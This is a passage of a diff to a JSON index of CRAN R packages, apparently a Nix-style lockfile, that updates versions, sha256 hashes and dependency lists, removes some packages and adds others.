"fastDummies", "magrittr", "numDeriv", "rlang", "survival", "tidyr", "tidyverse"] + "version": "1.0.0", + "sha256": "1jdx57vp5fkpx4fr4hwpxga6h9vrs5kb12n1pzyp89wrk8qskhkx", + "depends": ["AIPW", "MASS", "Rdpack", "SuperLearner", "broom", "data_table", "dplyr", "emulator", "fastDummies", "magrittr", "numDeriv", "rlang", "survival", "tidyr", "tidyverse"] }, "RobinCar2": { "name": "RobinCar2", @@ -31873,16 +31585,10 @@ "sha256": "0cbibfp4y45cc1disp2r37v0jln0cd9gy3d77z3k9ybj1gg8wa88", "depends": ["rjags", "statip"] }, - "RobustCalibration": { - "name": "RobustCalibration", - "version": "0.5.5", - "sha256": "0ilbj88bgjymyyn7jh7dnxhhba7xrmpsnhkwr1cr53zd9rpywfdf", - "depends": ["Rcpp", "RcppEigen", "RobustGaSP", "nloptr"] - }, "RobustGaSP": { "name": "RobustGaSP", - "version": "0.6.6", - "sha256": "1pcy0n4krshjw9c4g41m7487qydrjbh45yqg77i74s5bvwd47fnp", + "version": "0.6.8", + "sha256": "0qmhjkjhja4cqx8lbhagdh7ypk877sfwr1wxaijhr9hkazb4i4fl", "depends": ["Rcpp", "RcppEigen", "nloptr"] }, "RobustIV": { @@ -32053,12 +31759,6 @@ "sha256": "0kd8ghclfz81c5lgj4fc06lgkniksch7xi6fmj1ydn2i35k0ji6l", "depends": ["GEOmap", "MBA", "RPMG", "RSEIS", "minpack_lm"] }, - "Rquefts": { - "name": "Rquefts", - "version": "1.2-4", - "sha256": "144hmgapzk8w2cv0gmyr67ivs683djv7k8i0ciihb4gl7rp55ppg", - "depends": ["Rcpp", "meteor"] - }, "Rramas": { "name": "Rramas", "version": "0.1-8", @@ -32125,12 +31825,6 @@ "sha256": "1d2bk20ixnfkzbimvsj56arf7brgkwlyrs80snfn5cnvmwic0h8i", "depends": ["ggplot2", "png", "stringi", "stringr"] }, - "RsimMosaic": { - "name": "RsimMosaic", - "version": "1.0.3", - "sha256": "0jlzrs9xxlpazvq3iw8znk0bd00bzlry7bgxsxq7xl23akizj0ji", - "depends": ["RANN", "fields", "jpeg"] - }, "Rsmlx": { "name": "Rsmlx", "version": "2024.1.0", @@ -32235,8 +31929,8 @@ }, "RtsEva": { "name": "RtsEva", - "version": "1.0.0", - "sha256": "0bnpplsyc4k4gs5gh2hxr4597xqsfpd9kvkfhp7s802xby4hqnia", + "version": "1.1.0", + "sha256": "0ky9ik2aigysydvavj1mismxsnrcbq4rgg993n9pdi1jk6xvsk7d", "depends": ["POT", "changepoint", "dplyr", "evd", "ggplot2", "lubridate", "moments", "pracma", "rlang", "scales", "texmex", "tsibble", "xts"] }, "Rtsne": { @@ -32623,12 +32317,6 @@ "sha256": "1pxwsp6z1qvhmzprhr8f8i1id5zy4ppq7dxbd6ny2h1r1zvy16xm", "depends": ["Rcpp", "RcppArmadillo", "Rdpack", "expm"] }, - "SC_MEB": { - "name": "SC.MEB", - "version": "1.1", - "sha256": "04vv1ckirfmjvb3hfk3ldma96j4c6ykjgf77f13n550cvp2bhp3w", - "depends": ["BiocSingular", "Matrix", "Rcpp", "RcppArmadillo", "S4Vectors", "SingleCellExperiment", "SummarizedExperiment", "ggplot2", "mclust", "purrr", "scater", "scran"] - }, "SC2API": { "name": "SC2API", "version": "1.0.0", @@ -32853,9 +32541,9 @@ }, "SDModels": { "name": "SDModels", - "version": "1.0.10", - "sha256": "199vswwbrwi330r932ngf59jdy2f5s8310w1f358vflfgxmaxmfm", - "depends": ["DiagrammeR", "GPUmatrix", "Rdpack", "data_tree", "doParallel", "fda", "ggplot2", "gridExtra", "grplasso", "locatexec", "pbapply", "rlang", "tidyr"] + "version": "1.0.13", + "sha256": "08bib80zddncr9pirhw949srkm13m1jmpiy9vl0jzdhv96ryk07d", + "depends": ["DiagrammeR", "GPUmatrix", "Rdpack", "data_tree", "doParallel", "fda", "future", "future_apply", "ggplot2", "gridExtra", "grplasso", "locatexec", "pbapply", "rlang", "tidyr"] }, "SDMtune": { "name": "SDMtune", @@ -32907,9 +32595,9 @@ }, "SEAHORS": { "name": "SEAHORS", - "version": "1.8.0", - "sha256": "172wqna58sfmdaparvy14nva8lsflvsz55ndkd2ficfmp28qqp6n", - "depends": ["DT", "MASS", "dplyr", "ggplot2", "gridExtra", "htmlwidgets", "plotly", "raster", "readxl", "rmarkdown", "shiny", "shinyWidgets", "shinyjs", "shinythemes", "stringr", "viridis"] + "version": "1.9.0", + "sha256": "10z37s6vhb3xkighk9v937hwpg4qp76j479r2j82rhlnhhacjh2r", + "depends": ["DT", "MASS", "dplyr", "ggplot2", "gridExtra", "htmlwidgets", "plotly", "raster", "readxl", "rmarkdown", "shiny", "shinyBS", "shinyWidgets", "shinyjs", "shinythemes", "stringr", "viridis"] }, "SEARS": { "name": "SEARS", @@ -33009,8 +32697,8 @@ }, "SFDesign": { "name": "SFDesign", - "version": "0.1.0", - "sha256": "10h008rxivrcvyhqq9ipys8fcrv75182yqi7pnnpcqkm3x59bvq4", + "version": "0.1.1", + "sha256": "0xny6j6pa84y1h7pjsv6xylwnzpsd9s6mdz6mn0gcsk0zhi9s5bh", "depends": ["GenSA", "Rcpp", "RcppArmadillo", "nloptr", "primes", "proxy", "spacefillr"] }, "SFM": { @@ -33105,8 +32793,8 @@ }, "SIAtools": { "name": "SIAtools", - "version": "0.1.2", - "sha256": "1p89b5ws1hb1a4dn38pw8kyz7vccfmcmzfvpmd44mbpfl8fdlvqc", + "version": "0.1.3", + "sha256": "075v30iygsxfv5rfqbprfyaxz6kd4hq9drm9j58hvzcfvn3pdw5a", "depends": ["cli", "desc", "fs", "magrittr", "purrr", "rlang", "shiny", "usethis", "yaml"] }, "SIBER": { @@ -33351,8 +33039,8 @@ }, "SLSEdesign": { "name": "SLSEdesign", - "version": "0.0.3", - "sha256": "09ng145z98xh92fddi76g7grwg77y08zyqa8z1hy4lx1z0x5i5g7", + "version": "0.0.5", + "sha256": "1nciazg1xj039p2v5c18rl49fnfri5x8871mxadnhc4n93hf9iyb", "depends": ["CVXR"] }, "SLTCA": { @@ -33477,8 +33165,8 @@ }, "SMPracticals": { "name": "SMPracticals", - "version": "1.4-3.1", - "sha256": "1xplp7ihy9ish7fqhc27bhvij9lk9w9mrs7lpdca38ppi4iiafi2", + "version": "1.4-3.2", + "sha256": "1i63pphsz2vn20z8nrg3i51s1jghc89kaidgm18vxalnckapmi2j", "depends": ["MASS", "ellipse", "nlme", "survival"] }, "SMR": { @@ -33747,8 +33435,8 @@ }, "SPIChanges": { "name": "SPIChanges", - "version": "0.1.0", - "sha256": "16cvvgn5kc4bacjhmmly8r06fi39riyybj5ir09q85sc6idqfb2l", + "version": "0.2.0", + "sha256": "13hyrgr30b6vpcj86xls5zns17w0dm7ysias0w5j8g83z8nb4rg0", "depends": ["MuMIn", "brglm2", "gamlss", "gamlss_dist", "lubridate", "rlang", "spsUtil", "zoo"] }, "SPIGA": { @@ -33861,9 +33549,9 @@ }, "SQMtools": { "name": "SQMtools", - "version": "1.7.0", - "sha256": "08vcbz2j9g873c0nvx53fs9r1l9kf4brd1pgw0fb95wwqm94gwfi", - "depends": ["data_table", "ggplot2", "pathview", "reshape2", "zip"] + "version": "1.7.2", + "sha256": "12x8f12fy1a8kg8167jyk79bdpnzbxabw6xa5prd2y0srxykj81i", + "depends": ["Biostrings", "data_table", "ggplot2", "pathview", "reshape2", "zip"] }, "SQN": { "name": "SQN", @@ -33889,6 +33577,12 @@ "sha256": "13zf3cqs53w68f9zc1fkb9ql84rvzn7g1hbykqrbvss8hjaq8x1r", "depends": [] }, + "SRMData": { + "name": "SRMData", + "version": "1.0.1", + "sha256": "0m38rrva9xdqp95wdiaq5b01iai8bcrvzg4gzkabaciphvbcxzfc", + "depends": [] + }, "SRS": { "name": "SRS", "version": "0.2.3", @@ -33921,8 +33615,8 @@ }, "SSDforR": { "name": "SSDforR", - "version": "1.5.42", - "sha256": "0nkmnn6xx6m6cq30aq4jd5d2rxcjqijjfkg5ly1dpkz6kdbx96h1", + "version": "2.0", + "sha256": "0qg3p4mmd59xdf49msg29m8d13li7snzmmrav2kaflawbwmz4h8x", "depends": ["Kendall", "MASS", "MAd", "SingleCaseES", "TTR", "metafor", "modifiedmk", "psych", "retrodesign"] }, "SSEparser": { @@ -34029,8 +33723,8 @@ }, "STAREG": { "name": "STAREG", - "version": "1.0.3", - "sha256": "1skxwk817p4r7svnfrgv8bmkaz06ndqfxnypp9wdmndrgivrmg54", + "version": "1.0.4", + "sha256": "11zxfi431wh2iw7w8hq527gcizfmik528g0j50q46nq09i7n1m88", "depends": ["Rcpp", "RcppArmadillo", "qvalue"] }, "STARTS": { @@ -34143,8 +33837,8 @@ }, "SUMO": { "name": "SUMO", - "version": "0.2.0", - "sha256": "08r46wxk5fidys57ngimfgpr5pkdlh25m4dxq450smknfv7y2249", + "version": "1.2.0", + "sha256": "12n4p7bc9gzp9kddd8qa6j9vx0ccg37bp5d7qyda4izzi7jz4p3i", "depends": ["data_table", "dplyr", "ggplot2", "gridExtra", "magrittr", "officer", "readr", "readxl", "rlang", "stringr"] }, "SUNGEO": { @@ -34225,12 +33919,6 @@ "sha256": "10d9wgw2h1kykl46apaymfrriypf8xpixvk6za427xgya7krkz6l", "depends": ["dplyr", "forcats", "ggplot2", "ggpubr", "ggspatial", "httr", "hydroTSM", "jsonlite", "lubridate", "magrittr", "prettymapr", "readr", "rlang", "rmarkdown", "segmented", "sf", "stringr", "tibble", "tidyr", "zoo"] }, - "SYNCSA": { - "name": "SYNCSA", - "version": "1.3.4", - "sha256": "0n9za302x638s666xs86zy94qch9wn0rln8xy6x9jymhhq9zn0kj", - "depends": ["FD", "RcppArmadillo", "permute", "vegan"] - }, "SafeVote": { "name": "SafeVote", "version": "1.0.1", @@ -34339,12 +34027,6 @@ "sha256": "0lvdywkw2g0xdgf7zj39h1903rd0jg2lzgqq7cfni11pniv6265n", "depends": ["data_table"] }, - "ScorePlus": { - "name": "ScorePlus", - "version": "0.1", - "sha256": "07hmrx1k256i4cs605j5bpg6brzypryxlcnjkzqak8cw4f26k24q", - "depends": ["RSpectra", "combinat", "igraph", "igraphdata", "limSolve"] - }, "ScottKnott": { "name": "ScottKnott", "version": "1.3-3", @@ -34381,6 +34063,12 @@ "sha256": "0xk002y4nim5f3mcfbl3zk484cf2s5mvg1paj2jg4f5v60vr4pwp", "depends": ["GpGp", "MASS", "fields", "quantreg", "spikeSlabGAM", "statmod"] }, + "SeaGraphs": { + "name": "SeaGraphs", + "version": "0.1.2", + "sha256": "03lw2bqihhb2qsrn2kpnf61r10vj819gag2vbpa4c6np1jw2dba0", + "depends": ["leaflet", "leaflet_extras2", "leaflet_minicharts", "sf", "sfnetworks", "terra"] + }, "SeaSondeR": { "name": "SeaSondeR", "version": "0.2.8", @@ -34399,6 +34087,12 @@ "sha256": "1n0y91y1l657g61klbcjz82ddj2csdpnralc3rbk1hbwr4nxk069", "depends": [] }, + "SeasEpi": { + "name": "SeasEpi", + "version": "0.0.1", + "sha256": "0kzsivc9kfg95bz8rkja5j55sxxdzgpdmm0yifnh9f0vq3qjydah", + "depends": ["MASS", "mvtnorm", "ngspatial"] + }, "SecretsProvider": { "name": "SecretsProvider", "version": "1.0.0", @@ -34561,12 +34255,6 @@ "sha256": "0si7zklv94li8payg4zxcac1a7ivk90q4ckcyak536sqfinihpb3", "depends": ["AlgDesign", "FactoMineR", "KernSmooth", "cluster", "ggplot2", "ggrepel", "gtools", "reshape2"] }, - "SensusR": { - "name": "SensusR", - "version": "2.3.1", - "sha256": "1x1a8vnpn6h7905wa4lvf7vibkl2dsa4yyg2sg4bbi719lcki2q0", - "depends": ["R_utils", "ggmap", "ggplot2", "jsonlite", "lubridate", "openssl", "plyr"] - }, "SentimentAnalysis": { "name": "SentimentAnalysis", "version": "1.3-5", @@ -35119,12 +34807,6 @@ "sha256": "0hvxg4hrk3rb1wxhi71rgamxd8wcwys569137znfs0y8j6yvf0jj", "depends": ["DCCA", "PerformanceAnalytics", "TSEntropies", "nonlinearTseries"] }, - "SmCCNet": { - "name": "SmCCNet", - "version": "2.0.3", - "sha256": "16kw1nk0y8v2dg4akv5biwznx6a0pv754453r3ymfxw7qjrknyqc", - "depends": ["EnvStats", "Matrix", "furrr", "future", "igraph", "magrittr", "pROC", "pbapply", "pracma", "purrr", "rlist", "spls"] - }, "SmallCountRounding": { "name": "SmallCountRounding", "version": "1.2.0", @@ -35421,9 +35103,9 @@ }, "SparseBiplots": { "name": "SparseBiplots", - "version": "4.0.1", - "sha256": "0jiyafhsddqa3llrp62lf8bgcvs3wp2pxc8ppaxx4zphkifw2yhr", - "depends": ["ggplot2", "ggrepel", "gtable", "rlang", "sparsepca", "testthat"] + "version": "4.0.2", + "sha256": "1cadisjw0g3gyng6h5cfgpmn243k31kh58iifmbw1176nyfln84p", + "depends": ["ggplot2", "ggrepel", "sparsepca"] }, "SparseChol": { "name": "SparseChol", @@ -35613,8 +35295,8 @@ }, "SpatialRegimes": { "name": "SpatialRegimes", - "version": "1.1", - "sha256": "1sp9fs8kwv5gm8bx9z5blkwj3c4lmcqw5126myr09rzz5xjmzzrx", + "version": "1.2", + "sha256": "0d8g4zzayg79abxvizsm3dbbmpdnv04k54qkwfnql6539bj6q7ch", "depends": ["GWmodel", "plm", "quantreg", "spatialreg", "spdep"] }, "SpatialRoMLE": { @@ -35755,6 +35437,18 @@ "sha256": "0k10is14z27gndqmg0sr9mgvpymayi9z2vv5fwqmvfvxg8y7j4hl", "depends": [] }, + "SplitWise": { + "name": "SplitWise", + "version": "1.0.0", + "sha256": "1rsks07sg3720g9sg508y3cyy8d2dw8838qrzra72cijz9yg58hx", + "depends": ["rpart"] + }, + "SpoMAG": { + "name": "SpoMAG", + "version": "0.1.0", + "sha256": "04blzpqhcbyv89hgka4yw1c9iahnc82km0k7iiwaylk3dj09l0hc", + "depends": ["dplyr", "tibble", "tidyr"] + }, "SportsTour": { "name": "SportsTour", "version": "0.1.0", @@ -35943,9 +35637,9 @@ }, "StempCens": { "name": "StempCens", - "version": "1.1.0", - "sha256": "0jphyikfggx0yj5f5k3fykf3fdv9msppymzpyin1m7xfmfi5cwia", - "depends": ["MCMCglmm", "Rcpp", "RcppArmadillo", "Rdpack", "distances", "ggplot2", "mvtnorm", "tmvtnorm"] + "version": "1.2.0", + "sha256": "18l7l7jsrd7idgg0d1b8ykm4plh84z7hhxklf7xab2h8nvgxqkwk", + "depends": ["MCMCglmm", "Rcpp", "RcppArmadillo", "Rdpack", "ggplot2", "mvtnorm", "tmvtnorm"] }, "StepBeta": { "name": "StepBeta", @@ -35989,6 +35683,12 @@ "sha256": "0qrbl86ba83j4r6j2phap5n6ryi729gbypn95h0vbgrv752nayqp", "depends": ["MASS", "Rcpp", "bezier", "jpeg", "png", "rjson", "shiny", "svgViewR", "tiff"] }, + "SticsRFiles": { + "name": "SticsRFiles", + "version": "1.6.0", + "sha256": "02vf64s411fv7gp8mnvb9zq01liwbwr5k4kgqd2hvgczfji5alrr", + "depends": ["XML", "cli", "crayon", "curl", "data_table", "dplyr", "lifecycle", "lubridate", "rlang", "rstudioapi", "stringr", "tibble", "tidyr", "tidyselect", "xml2", "xslt"] + }, "StochBlock": { "name": "StochBlock", "version": "0.1.2", @@ -36145,12 +35845,6 @@ "sha256": "0x25n5gm1fl5s157g5a7jszy1rj16151r0jpf61vvsw0c9c58707", "depends": ["MASS", "Matrix", "ggplot2", "glmnet", "rpart", "survival"] }, - "SubpathwayLNCE": { - "name": "SubpathwayLNCE", - "version": "1.0", - "sha256": "051csjavr9549y54yirfdn266i7swsvpbcakhziyz4sl4afwx5kl", - "depends": ["BiasedUrn", "RBGL", "graph", "igraph"] - }, "SubtypeDrug": { "name": "SubtypeDrug", "version": "0.1.9", @@ -36301,12 +35995,6 @@ "sha256": "0cjw780wzvxp6q4q8m57d3qzv7ivk884h6s6n9walnd8rvrfj414", "depends": ["Rcpp", "RcppArmadillo"] }, - "SurrogateRsq": { - "name": "SurrogateRsq", - "version": "0.2.1", - "sha256": "1g77cwp5cdldhqlp3k7f7pzxjww2pxgr842qd3fr2k0gzg2s246a", - "depends": ["MASS", "PAsso", "progress", "scales"] - }, "SurrogateSeq": { "name": "SurrogateSeq", "version": "1.0", @@ -36421,6 +36109,12 @@ "sha256": "1yhl9pg5dbfkqrkl5i1da7c8zhianj2qgbs5arfk6lj6w3vqmnb9", "depends": ["ggplot2", "weibullness"] }, + "SveltePlots": { + "name": "SveltePlots", + "version": "0.1.0", + "sha256": "16c7gsrg8fd27wjzxsvrswrxxs09n966azvfm735vh0646yvynp5", + "depends": ["RColorBrewer", "data_table", "dplyr", "htmlwidgets", "magrittr", "padr", "purrr", "rlang", "stringr", "tibble", "tidyr"] + }, "SvyNom": { "name": "SvyNom", "version": "1.2", @@ -36549,9 +36243,9 @@ }, "T4transport": { "name": "T4transport", - "version": "0.1.2", - "sha256": "091mq0f2cawkfmaql9gqgv2sbs5fwyv4i2sdw14p1r01wznfrqzf", - "depends": ["CVXR", "Rcpp", "RcppArmadillo", "Rdpack", "lpSolve"] + "version": "0.1.3", + "sha256": "0m2yp2j83wvhxvpf0jw1ayqy5hwf27qm7a56bwk1il3vmn5jjx5k", + "depends": ["BH", "CVXR", "Rcpp", "RcppArmadillo", "Rdpack", "lpSolve"] }, "TAD": { "name": "TAD", @@ -36645,8 +36339,8 @@ }, "TCHazaRds": { "name": "TCHazaRds", - "version": "1.1.2", - "sha256": "1jrfrx9ndjn380spshqnxjilvfxd1xkx9pkbc94cia55ffis9vnm", + "version": "1.1.3", + "sha256": "1w51j6gvzhh26nzx67hjrcjawwpfm43zkm6jzz3ab877dkhw7sc3", "depends": ["Rcpp", "geosphere", "latticeExtra", "ncdf4", "raster", "rasterVis", "sp", "terra"] }, "TCIApathfinder": { @@ -36777,9 +36471,9 @@ }, "TFM": { "name": "TFM", - "version": "0.4.0", - "sha256": "0665x2q05v78mnqv7xfg8sajs4zv436x01b3qalcrawspq3yjrgm", - "depends": ["MASS", "SOPC", "matrixcalc", "mvtnorm", "relliptical"] + "version": "0.5.2", + "sha256": "1sd3x1972zb83qawznawchv476nfm2l49qnx1mi9lh4x5y38is6m", + "depends": ["MASS", "SOPC", "corrplot", "ggplot2", "matrixcalc", "mvtnorm", "relliptical"] }, "TFMPvalue": { "name": "TFMPvalue", @@ -36861,8 +36555,8 @@ }, "TKCat": { "name": "TKCat", - "version": "1.1.12", - "sha256": "1s88lkc4wxzlwbrr4qq7rsrws8hvlzbfjdfj0qgxmkqqgz7g882z", + "version": "1.1.14", + "sha256": "0fvaghh49n7kiyw4hslww4d2j581fx2h4k4ss987kbfmdblk7hdj", "depends": ["ClickHouseHTTP", "DBI", "DT", "Matrix", "ReDaMoR", "base64enc", "crayon", "dplyr", "future", "getPass", "htmltools", "jsonlite", "jsonvalidate", "magrittr", "markdown", "promises", "readr", "rlang", "roxygen2", "shiny", "shinydashboard", "tidyselect", "uuid", "visNetwork", "xml2"] }, "TLCAR": { @@ -37051,12 +36745,6 @@ "sha256": "0hrlqr6va7f17i4zizc2val2jxl151h8dbp4f97g0ixlqnv39qjl", "depends": ["MASS", "ManifoldOptim", "pracma", "rTensor"] }, - "TRMF": { - "name": "TRMF", - "version": "0.2.1", - "sha256": "1ar4shr2r58ksk7lzi3dwinp06d7inffrfmnvyb1s289swxg9a1w", - "depends": ["Matrix", "generics", "limSolve"] - }, "TRexSelector": { "name": "TRexSelector", "version": "1.0.0", @@ -37191,15 +36879,15 @@ }, "TSP": { "name": "TSP", - "version": "1.2-4", - "sha256": "1263ay3dar2mzm89nf31gl7n8d983qjiy4qwz7sgv8vwkbz0pg9h", + "version": "1.2-5", + "sha256": "082cmbv943bb8ibpfvczjvkv1s9k6dzj4619b64d8sni2hawlldb", "depends": ["foreach"] }, "TSPred": { "name": "TSPred", - "version": "5.1", - "sha256": "14dzpm5i5iml9kb49rnw7kq1ga03l4c6m485b1p8p3ya0n6mivkl", - "depends": ["EMD", "KFAS", "ModelMetrics", "MuMIn", "RSNNS", "Rlibeemd", "dplyr", "e1071", "elmNNRcpp", "forecast", "keras", "magrittr", "nnet", "plyr", "randomForest", "tfdatasets", "vars", "wavelets"] + "version": "5.1.1", + "sha256": "0ddgl75d4w1niv19fnp8ini08y5f3iz7m85byqykai2wjj8cx8kn", + "depends": ["KFAS", "ModelMetrics", "MuMIn", "RSNNS", "Rlibeemd", "dplyr", "e1071", "elmNNRcpp", "forecast", "keras", "magrittr", "nnet", "plyr", "randomForest", "tfdatasets", "wavelets"] }, "TSS_RESTREND": { "name": "TSS.RESTREND", @@ -37315,6 +37003,12 @@ "sha256": "0z2fr8br7afy8sn0mn0cxpw39rcm5k7zb2gci9brl6c5ss5n2qsn", "depends": ["dplyr", "ggplot2", "gstat", "lubridate", "magrittr", "raster", "readr", "rlang", "sf", "sp", "stringr", "tibble", "tidyr"] }, + "TUGLab": { + "name": "TUGLab", + "version": "0.0.1", + "sha256": "0asl0c9zl8160c2m91zn303j7i9g9gdr9n48rkj10w27206h8flr", + "depends": ["geometry", "plotly", "rcdd", "stringr", "volesti"] + }, "TULIP": { "name": "TULIP", "version": "1.0.2", @@ -37339,6 +37033,12 @@ "sha256": "0z2gdcci9pbpgnmr6dch5v0rsn34q18rwb14x9gyxdcvh3bch8z0", "depends": ["DescToolsAddIns", "MASS", "ggplot2", "gridExtra", "robustbase", "tcltk2"] }, + "TVMVP": { + "name": "TVMVP", + "version": "1.0.4", + "sha256": "0j06fxppdnx5fgs1xi6kv32ykg4j7xr69ivhzg3nfrvxr4wwlxmm", + "depends": ["R6", "cli", "prettyunits"] + }, "TWW": { "name": "TWW", "version": "0.1.0", @@ -37585,6 +37285,12 @@ "sha256": "1057v6jm7jfw6zq9190837hg4kq0pi86s24j0iip7zsnn6294q1h", "depends": ["dplyr", "fda", "ggplot2", "ggpubr", "knitr", "plotly", "pracma", "rgl", "rmarkdown", "stringr", "tidyr", "utf8"] }, + "TestGenerator": { + "name": "TestGenerator", + "version": "0.4.0", + "sha256": "0dxkgvdfaw1gbklrad5ia122byglgkwscbc8n00z3j2qp3bxrwfn", + "depends": ["CDMConnector", "DBI", "arrow", "checkmate", "cli", "dplyr", "duckdb", "ggplot2", "glue", "jsonlite", "omopgenerics", "openxlsx", "readr", "readxl", "rlang", "testthat", "tibble", "withr"] + }, "TestIndVars": { "name": "TestIndVars", "version": "0.1.0", @@ -37977,8 +37683,8 @@ }, "TreatmentPatterns": { "name": "TreatmentPatterns", - "version": "3.0.3", - "sha256": "1vss1g7hl65xhrqvj3cmh1pb89dgxg49p3p2hcjgjfw17xm5j9zb", + "version": "3.1.0", + "sha256": "02ixaba0fdhwal6c2hhh12kqw04ssnpqgchx4rm2xqh1m82cckga", "depends": ["Andromeda", "R6", "checkmate", "dbplyr", "dplyr", "ggplot2", "htmlwidgets", "jsonlite", "networkD3", "stringr", "sunburstR", "tidyr"] }, "TreatmentSelection": { @@ -38031,8 +37737,8 @@ }, "TreeSearch": { "name": "TreeSearch", - "version": "1.6.0", - "sha256": "0n2z3y3kjcx9mi5z72fv3yvnqc520rzzyvwvs92a1nf72q8a4lgf", + "version": "1.6.1", + "sha256": "0kg6d7r0cqyr1g41s07jfcyckifibh6kf0mkn1i8p8cm5kq9kn6x", "depends": ["PlotTools", "Rcpp", "Rdpack", "Rogue", "TreeDist", "TreeTools", "ape", "cli", "cluster", "fastmatch", "fs", "future", "promises", "protoclust", "shiny", "shinyjs"] }, "TreeSim": { @@ -38071,12 +37777,6 @@ "sha256": "0zsl42j0yyc5llk8f0saxnpfxnm8y5n0rwhvmh3xzw21z5rln704", "depends": ["locits", "wavethresh"] }, - "TrendSLR": { - "name": "TrendSLR", - "version": "1.0", - "sha256": "1x8j2dg3m7b22gva33y4s318a41wl60sz93y868z4j65hp13jb5k", - "depends": ["Rssa", "changepoint", "forecast", "imputeTS", "plyr", "tseries", "zoo"] - }, "TrendTM": { "name": "TrendTM", "version": "2.0.21", @@ -38115,8 +37815,8 @@ }, "TrialEmulation": { "name": "TrialEmulation", - "version": "0.0.4.2", - "sha256": "12w650aiv5vgp1ggq0nv7ha6g83dagq1g71jc6fyjk231r1s8ly7", + "version": "0.0.4.5", + "sha256": "0y5bqzlaj66lshvp2c2a6f0zmlm4kwk0cqmwzmba8b2kv2h1app6", "depends": ["DBI", "Rcpp", "broom", "checkmate", "data_table", "duckdb", "formula_tools", "lifecycle", "lmtest", "mvtnorm", "parglm", "sandwich"] }, "TrialSize": { @@ -38433,9 +38133,9 @@ }, "Umatrix": { "name": "Umatrix", - "version": "4.0.1", - "sha256": "03ci20nz0vfaw36miq1gvyg0spmmg2bd229xkrnbv6za1q18y08l", - "depends": ["AdaptGauss", "DataVisualizations", "Rcpp", "abind", "deldir", "fields", "geometry", "ggplot2", "pdist", "plyr", "png", "reshape2", "shiny", "shinyjs"] + "version": "4.0.2", + "sha256": "067jwf9h6j4m2vxzfj4c4aj8iiq2cyjl42lww4bd94v2vvdzm2ak", + "depends": ["AdaptGauss", "DataVisualizations", "Rcpp", "abind", "deldir", "fields", "geometry", "ggplot2", "ggrepel", "pdist", "plyr", "png", "reshape2", "shiny", "shinyjs"] }, "Umoments": { "name": "Umoments", @@ -38565,8 +38265,8 @@ }, "V8": { "name": "V8", - "version": "6.0.3", - "sha256": "1kwwmgnn2qbr8avgmaxdp0gg4rwqzra8x5w13bhd4vfw9jh5mpvv", + "version": "6.0.4", + "sha256": "185b42pcy5x31vwq82z3d839vx6ggxnnh6564cjipyh48vl2xvpr", "depends": ["Rcpp", "curl", "jsonlite"] }, "VAJointSurv": { @@ -38961,8 +38661,8 @@ }, "VertexWiseR": { "name": "VertexWiseR", - "version": "1.3.1", - "sha256": "0wszzdfd24hxx1rq79p9i39dbfyrqjgyfvh0cxh7c1n51qvvk985", + "version": "1.3.2", + "sha256": "05vp96vvgh54c0rj4ixx6nyykkvrsni9y9qrb91r4xr42fahk6yq", "depends": ["ciftiTools", "doParallel", "doSNOW", "foreach", "freesurferformats", "fs", "gifti", "igraph", "plotly", "png", "rappdirs", "reticulate", "stringr"] }, "VeryLargeIntegers": { @@ -39061,6 +38761,12 @@ "sha256": "08c47wnz64f3cf0zz9ak8jbay27sx9g5zwml29kzh2sqmhdrl8rh", "depends": ["HDInterval", "dplyr", "ggplot2"] }, + "VoronoiBiomedPlot": { + "name": "VoronoiBiomedPlot", + "version": "0.1.0", + "sha256": "1v4m673i5kbi5p742v4wky5m48dgc66qzpyhyz81gh3098l99wqb", + "depends": ["deldir", "ggplot2", "ggrepel"] + }, "VorteksExport": { "name": "VorteksExport", "version": "0.1.8", @@ -39123,9 +38829,9 @@ }, "WARDEN": { "name": "WARDEN", - "version": "0.99.3", - "sha256": "1j0nll5d7fmb5h9bccf9fr16s5v2q7v421xr33c4bz4ahwr4sj8s", - "depends": ["MASS", "data_table", "doFuture", "flexsurv", "foreach", "future", "magrittr", "progressr", "purrr", "tidyr", "zoo"] + "version": "1.2.0", + "sha256": "04rbqvvijfjvg3zp29b7f3rdir42qvpl6s83szsjnpr6r2ka81d1", + "depends": ["MASS", "data_table", "doFuture", "flexsurv", "foreach", "future", "magrittr", "progressr", "purrr", "rlang", "tidyr", "zoo"] }, "WARN": { "name": "WARN", @@ -39243,9 +38949,9 @@ }, "WPKDE": { "name": "WPKDE", - "version": "0.1", - "sha256": "100vla11fbw16x5n4w4kbslz4n725v4x6j0hrxzrk99ryl0crmf6", - "depends": [] + "version": "1.0", + "sha256": "1i837d16q4j0q8jzlkkar0znayhzpdlyjj63ij0cw27s7lvigpff", + "depends": ["RANN", "Rcpp", "plotly"] }, "WQM": { "name": "WQM", @@ -39417,8 +39123,8 @@ }, "Waypoint": { "name": "Waypoint", - "version": "1.2.0", - "sha256": "1lnwhrlr6qjdj8qvi1ap7ch7xhpb2kaqz7xzj6aydbl8hmahmq8p", + "version": "1.2.1", + "sha256": "1l1arjs5wiz9rmp0kc743cq6an7x5vkwracrabgh23s4pbq5n6zj", "depends": ["Rcpp"] }, "Wcompo": { @@ -39627,8 +39333,8 @@ }, "WordOfMouth": { "name": "WordOfMouth", - "version": "1.1.0", - "sha256": "199hnirbmwarn04ky1147x5c048j087rdml86qcp92kzp20679v3", + "version": "1.2.0", + "sha256": "1fqljppymxwshzrjlcqk0h68q6gfmi82hpgc5jgpk9iqxfd90561", "depends": ["LambertW"] }, "WordPools": { @@ -39717,8 +39423,8 @@ }, "XLConnect": { "name": "XLConnect", - "version": "1.2.1", - "sha256": "0vllw7d53kxvkm7lif1r8zcpza9sn3skm3wzyxd7pji0y6pin24w", + "version": "1.2.2", + "sha256": "1c9x04rzrn514rsradmgs7wrz4kznd0by3pi6775ifin55lrsr0l", "depends": ["rJava"] }, "XLS": { @@ -40165,12 +39871,6 @@ "sha256": "1v5pc5sacw3yb0r7x55iaf14pf5ck7h2mm07ssp92lxm2ivh58f6", "depends": ["BayesLogit", "GIGrvg", "mvtnorm", "truncnorm"] }, - "abn": { - "name": "abn", - "version": "3.1.1", - "sha256": "1sixgahjcy82yiiixgxiqbm8jcajqz0m3h0hwwm202iwzi3vyhiv", - "depends": ["Rcpp", "RcppArmadillo", "Rgraphviz", "doParallel", "foreach", "graph", "lme4", "mclogit", "nnet", "rjags", "stringi"] - }, "abnormality": { "name": "abnormality", "version": "0.1.0", @@ -40251,15 +39951,15 @@ }, "accelmissing": { "name": "accelmissing", - "version": "1.4", - "sha256": "1nql9inx6azdzi3z4sfm2vdml2mms6krl8wzlf1dn1c97ahn57fy", + "version": "2.2", + "sha256": "1h3fyz3a10q911qjbdc8f599baf59lmv5hx61178ms247k2zrnnd", "depends": ["mice", "pscl"] }, "accept": { 